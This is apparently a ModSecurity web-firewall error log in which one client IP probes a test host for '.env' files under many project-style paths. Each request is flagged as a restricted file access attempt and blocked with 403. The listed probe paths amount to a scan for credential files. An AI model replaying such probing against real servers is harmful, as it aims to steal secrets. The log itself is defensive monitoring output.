[Thu Feb 26 01:03:18.098007 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIAgAAAAQ&quot;]
[Thu Feb 26 01:03:18.098175 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIAgAAAAQ&quot;]
[Thu Feb 26 01:03:18.108847 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/add-auth/express/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlnAAAAAI&quot;]
[Thu Feb 26 01:03:18.109109 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlnAAAAAI&quot;]
[Thu Feb 26 01:03:18.109289 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlnAAAAAI&quot;]
[Thu Feb 26 01:03:18.129032 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spikes/config-material-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIAwAAAAQ&quot;]
[Thu Feb 26 01:03:18.129279 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIAwAAAAQ&quot;]
[Thu Feb 26 01:03:18.129442 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIAwAAAAQ&quot;]
[Thu Feb 26 01:03:18.143723 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/assembly/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlnQAAAAI&quot;]
[Thu Feb 26 01:03:18.143990 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlnQAAAAI&quot;]
[Thu Feb 26 01:03:18.144171 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlnQAAAAI&quot;]
[Thu Feb 26 01:03:18.159473 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spotiapps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIBAAAAAQ&quot;]
[Thu Feb 26 01:03:18.159736 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIBAAAAAQ&quot;]
[Thu Feb 26 01:03:18.159910 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIBAAAAAQ&quot;]
[Thu Feb 26 01:03:18.182231 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/instancewithdependentsteps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIBQAAAAQ&quot;]
[Thu Feb 26 01:03:18.182529 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIBQAAAAQ&quot;]
[Thu Feb 26 01:03:18.182704 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIBQAAAAQ&quot;]
[Thu Feb 26 01:03:18.199479 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/character-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlngAAAAI&quot;]
[Thu Feb 26 01:03:18.199804 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlngAAAAI&quot;]
[Thu Feb 26 01:03:18.200003 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlngAAAAI&quot;]
[Thu Feb 26 01:03:18.228920 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptintegrationproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIBgAAAAQ&quot;]
[Thu Feb 26 01:03:18.229225 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIBgAAAAQ&quot;]
[Thu Feb 26 01:03:18.229406 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIBgAAAAQ&quot;]
[Thu Feb 26 01:03:18.240982 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/client/mobile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlnwAAAAI&quot;]
[Thu Feb 26 01:03:18.241259 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlnwAAAAI&quot;]
[Thu Feb 26 01:03:18.241438 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlnwAAAAI&quot;]
[Thu Feb 26 01:03:18.273814 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/core/tests/dotenv-files/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjloAAAAAI&quot;]
[Thu Feb 26 01:03:18.274085 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjloAAAAAI&quot;]
[Thu Feb 26 01:03:18.274266 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjloAAAAAI&quot;]
[Thu Feb 26 01:03:18.296285 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIBwAAAAQ&quot;]
[Thu Feb 26 01:03:18.296584 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIBwAAAAQ&quot;]
[Thu Feb 26 01:03:18.296773 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIBwAAAAQ&quot;]
